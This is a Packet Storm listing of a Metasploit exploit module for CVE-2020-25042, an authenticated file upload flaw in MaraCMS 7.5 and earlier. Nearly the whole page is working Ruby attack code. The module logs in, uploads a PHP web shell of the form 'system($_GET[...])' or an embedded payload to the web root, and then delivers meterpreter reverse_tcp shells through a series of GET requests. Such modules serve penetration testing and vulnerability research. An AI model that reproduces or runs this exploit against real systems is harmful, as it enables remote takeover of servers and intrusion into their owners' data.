what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MaraCMS 7.5 Remote Code Execution

MaraCMS 7.5 Remote Code Execution
Posted Sep 28, 2020
Authored by Erik Wynter, Michele Cisternino | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability in MaraCMS versions 7.5 and below in order to execute arbitrary commands. The module first attempts to authenticate to MaraCMS. It then tries to upload a malicious PHP file to the web root via an HTTP POST request to codebase/handler.php. If the php target is selected, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to this file. For the linux and windows targets, the module uploads a simple PHP web shell. Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests to the PHP web shell. Valid credentials for a MaraCMS admin or manager account are required. This module has been successfully tested against MaraCMS 7.5 running on Windows Server 2012 (XAMPP server).

tags | exploit, web, arbitrary, shell, root, php, file upload
systems | linux, windows
advisories | CVE-2020-25042
SHA-256 | 46bcd0fb88548beb443fdf27155d8d4343ca495c9eb2a3289d06a46da4ac2b7b

MaraCMS 7.5 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MaraCMS Arbitrary PHP File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in
MaraCMS 7.5 and prior in order to execute arbitrary commands.

The module first attempts to authenticate to MaraCMS. It then tries
to upload a malicious PHP file to the web root via an HTTP POST
request to `codebase/handler.php.` If the `php` target is selected,
the payload is embedded in the uploaded file and the module attempts
to execute the payload via an HTTP GET request to this file. For the
`linux` and `windows` targets, the module uploads a simple PHP web
shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it
leverages the CmdStager mixin to deliver the final payload via a
series of HTTP GET requests to the PHP web shell.

Valid credentials for a MaraCMS `admin` or `manager` account are
required. This module has been successfully tested against MaraCMS
7.5 running on Windows Server 2012 (XAMPP server).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Michele Cisternino', # aka (0blio_) - discovery and PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-25042'],
['EDB', '48780']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a"
},
'Platform' => %w[linux win php],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
'Targets' =>
[
[
'PHP', {
'Arch' => [ARCH_PHP],
'Platform' => 'php',
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-08-31',
'DefaultTarget' => 0
)
)

register_options [
OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme'])
]
end

def check
vprint_status('Running check')

# visit /about.php to obtain MaraCMS version and cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'about.php'),
'keep_cookies' => true
})

unless res
return CheckCode::Unknown('Connection failed.')
end

unless res.code == 200 && res.body.include?('Mara cms')
return CheckCode::Safe('Target is not a MaraCMS application.')
end

html = res.get_html_document
version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release`
version = version_header.split(' ')[1] # grab the version number

if version.blank?
return CheckCode::Detected('Could not determine MaraCMS version.')
end

version = Gem::Version.new version

unless version <= Gem::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5
# MaraCMS no longer seems to be maintained, but the check below is added in case they every update it
return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.')
end

return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower')
end

def login
# visit login page in order to obtain `shash` value, which is necessary for authentication
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'login' => '' }
})

unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
end

unless res.code == 200 && /shash='(?<shash>.*?)';/ =~ res.body # obtain shash value from inside a <script> tag
fail_with(Failure::Unknown, 'Failed to obtain the `shash` token that is necessary to authenticate to the server.')
end

nocache_value = rand # when visiting the page with a browser, JS generates the nocache_value in the same manner

# try to obtain salt required for authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
'vars_get' => {
'nocache' => nocache_value
},
'vars_post' => {
'action' => Rex::Text.encode_base64('setsalt').to_s,
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
'status' => Rex::Text.encode_base64('Sending Request').to_s
}
})

unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
end

unless res.code == 200 && res.body.include?('~::~')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to obtain the salt required for authentication.')
end

# obtain salt
salt_base64 = res.body.to_s.split('~')[2] # the base64 encoded salt is returned in the format: ~::~encoded_salt~::~
salt = Rex::Text.decode_base64(salt_base64)
if salt.to_i == 0 # if the salt is nil or contains characters other than numbers, this will be true
# in case of an error, the server sends the error message, so this should be passed to the user
fail_with(Failure::Unknown, "Failed to obtain the salt required for authentication. The server sent the following response: #{salt}")
end
print_status("Obtained salt `#{salt}` from server. Using salt to authenticate...")

# use salt to generate authentication tokens
username = datastore['USERNAME']
password = datastore['PASSWORD']
@username_base64 = Rex::Text.encode_base64(username) # this value is also used when uploading the payload
unsalted_hash = Digest::SHA256.hexdigest("#{password}#{shash}#{username}")
salted_hash = Digest::SHA256.hexdigest("#{unsalted_hash}#{salt}")
@salted_hash_base64 = Rex::Text.encode_base64(salted_hash) # this value is also used when uploading the payload
nocache_value = rand # create new nocache_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
'vars_get' => {
'nocache' => nocache_value
},
'vars_post' => {
'usr' => @username_base64,
'hash' => Rex::Text.encode_base64(unsalted_hash),
'pwd' => @salted_hash_base64,
'action' => Rex::Text.encode_base64('login').to_s,
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
'rawresponse' => Rex::Text.encode_base64(salt_base64),
'status' => Rex::Text.encode_base64('Sending Request').to_s
}
})

unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
end

unless res.code == 200 && res.body.include?('~::~')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate to the server.')
end

# obtain base64 encoded response from body and decode it
server_response = Rex::Text.decode_base64(res.body.to_s.split('~')[2])
unless server_response.include?('OK:')
fail_with(Failure::NoAccess, "#{server_response}.") # if authentication fails, the server sends the error message
end

print_good('Successfully authenticated to MaraCMS')
end

def upload_payload
# set payload according to target platform
if target['Platform'] == 'php'
pl = payload.encoded
else
@shell_cmd_name = rand_text_alphanumeric(3..6)
pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
end

@payload_name = rand_text_alphanumeric(8..12) << '.php'
one_base64 = Rex::Text.encode_base64('1') # used twice below

# generate post data
post_data = Rex::MIME::Message.new
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
post_data.add_part(Rex::Text.encode_base64('upload').to_s, nil, nil, 'form-data; name="action"')
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part('filenew', nil, nil, 'form-data; name="type"')
post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{@payload_name}\"")
post_data.add_part(@username_base64.to_s, nil, nil, 'form-data; name="usr"')
post_data.add_part(@salted_hash_base64.to_s, nil, nil, 'form-data; name="pwd"')
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
post_data.add_part('/', nil, nil, 'form-data; name="destdir"')

print_status("Uploading payload as #{@payload_name}...")

# upload payload
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}#{normalize_uri(target_uri.path, 'codebase', 'dir.php?type=filenew')}" },
'data' => post_data.to_s
})

unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
end

unless res.code == 200 && res.body.include?("OK: #{@payload_name} uploaded.")
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end

register_file_for_cleanup(@payload_name)

print_good("Successfully uploaded #{@payload_name}")
end

def execute_command(cmd, _opts = {})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, @payload_name),
'vars_get' => { @shell_cmd_name => cmd }
})

unless res && res.code == 200
fail_with(Failure::Unknown, 'Failed to execute the payload.')
end
end

def exploit
login

upload_payload

# For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
if target['Platform'] == 'php'
print_status('Executing the payload...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, @payload_name)
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
else
print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`")
execute_cmdstager(background: true)
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close